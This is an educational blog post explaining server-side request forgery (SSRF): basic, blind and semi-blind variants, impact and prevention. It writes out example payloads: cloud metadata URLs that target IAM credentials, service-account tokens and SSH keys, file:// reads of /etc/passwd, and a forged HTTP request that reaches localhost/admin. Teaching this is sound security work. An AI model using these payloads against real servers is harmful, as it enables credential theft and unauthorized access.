Server-Side Request Forgery (SSRF)

SSRF attacks are used to target internal systems behind a firewall that are not accessible from the external network.

What is SSRF?

Server-side request forgery (also known as SSRF) is a web security vulnerability that allows an attacker to induce the server-side application to make HTTP requests to an arbitrary domain of the attacker’s choosing

Portswigger

A web application may have the functionality to import data from a URL, and import it into its page. Attackers could potentially change the request to and manipulate the URL. The server then gets the request, the code on the server side reads the new URL and tries to read data to it. By selecting target URLs the attacker might be able to read data form internal services such as:

• Cloud server meta-data (AWS, Google Cloud, …)
  Interesting URLs:
  AWS:
  

  http://169.254.169.254/latest/meta-data/iam/security-credentials/[role}

  
  Google Cloud: 

  http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token
  http://metadata.google.internal/computeMetadata/v1beta1/project/attributes/ssh-keys?alt=json

  
  Digital Ocean:
  

  http://169.254.169.254/metadata/v1.json

• Databases such as MongoDB, NoSQL have a HTTP interface
• files (internal files could be read with  file://[URI])

SSRF be like:

Impact

SSRF can lead to lots of other vulnerabilities:

• It often results in unauthorized actions or access to internal data. Either data in the web application or in other back-end systems.
  Example – Use URL schemes to read hidden data ( file://, dict://, sftp://,  ldap://, tftp://, gopher://) 
  

  http://domain.com/home?url=file:///etc/passwd
  http://domain.com/home?url=file:///C:/Windows/win.ini

• Reflected XSS can be achieved.
  Example – Fetch a file from an external site which hosts a malicious payload.
  

  http://localhost:8080/?url=http://brutelogic.com.br/poc.svg

• In some cases it may even lead to Remote Code Execution.
  Example – After scanning the internal structure by using a SSRF you find an outdated system with a known exploit.

Common SSRF Types

Basic SSRF

With basic SSRF an attacker will request a manipulated URL and the server will send the response back to the attacker.

For example look at a shopping application that lets the user see the amount of available items left in the store. The server gets its data from an API using the id from a specific product. A request from this application looks like the following.

POST /items/stock HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 124

webShopApi=http://stock.webshop.net:8080/items/stock
/check%3FproductId%3D4

The server requests the amount of items left in the stock from a specific URL and returns it to the user. An attacker can abuse this by modifying the URL to an internal address:

POST /items/stock HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 124

webShopApi=http://localhost/admin

Blind SSRF

Blind SSRF is a bit harder to detect. We use the term blind SSRF when an attacker  provides a URL to the application but the response is not reflected on the front-end. To verify blind SSRF attacks an attacker must use  DNSBin, Burp Collaborator or a similar tool.

The impact of blind SSRF is usually less severe because no sensitive data can be exposed this way.

Semi-Blind SSRF

Similar to blind SSRF, semi-blind SSRF does not show a response to the attacker. However some data or error messages is returned, which is enough to confirm that the application is vulnerable to SSRF. 

Exercises

Portswigger has a great course on SSRF  to learn about this type of vulnerability or to test your skills. 

How To Prevent SSRF?

There is no surefire way to protect against SSRF. The best approach depends on the type of the application. We listed some of them.

1. Whitelist values and IP addresses that your application need to access.
2. Disable unused URL schemes (ex: file://, dict://, ftp://)
3. Use authentication on internal services

Still not enough?

Orange Tsi did a great presentation on SRF. He had some great new insights on the subject. You can read his slides.

Follow us on twitter and don’t forget to subscribe to our weekly Bug Bytes, a newsletter curated by Pentester Land & powered by intigriti containing more write-ups and helpful resources.